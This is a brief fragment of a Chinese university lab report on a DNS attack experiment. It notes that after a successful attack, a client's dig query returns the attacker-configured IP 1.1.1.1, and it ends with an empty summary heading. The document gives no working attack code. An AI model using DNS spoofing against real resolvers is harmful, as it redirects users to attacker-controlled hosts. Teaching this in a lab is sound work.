  4. 客户机: 攻击成功时, 使用 dig www.example.com 命令查询该域名, 本地DNS服务器就会将攻击机作为权威名称服务器, 得到预先在配置中设置的IP地址 1.1.1.1.

[计算机网络安全实验] DNS攻击实验

8. 总结

心得体会,以及对本实验的意见和建议